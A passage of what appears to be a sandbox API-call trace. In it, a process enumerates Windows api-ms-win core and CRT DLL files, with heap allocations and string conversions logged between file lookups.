(HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.600] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x3ec120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.600] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x3ec288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.601] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.601] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.601] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.601] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.601] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x3ec120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.601] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.601] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.601] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.601] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.601] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.601] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x3ec288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0026.601] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x3ec120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0026.601] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.601] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.602] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x3ec288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0026.602] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.602] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x3ec288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0026.602] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x3ec120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0026.602] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x3ec288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0026.602] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x3ec120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0026.602] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x3ec288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0026.602] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0026.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x3ec120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, 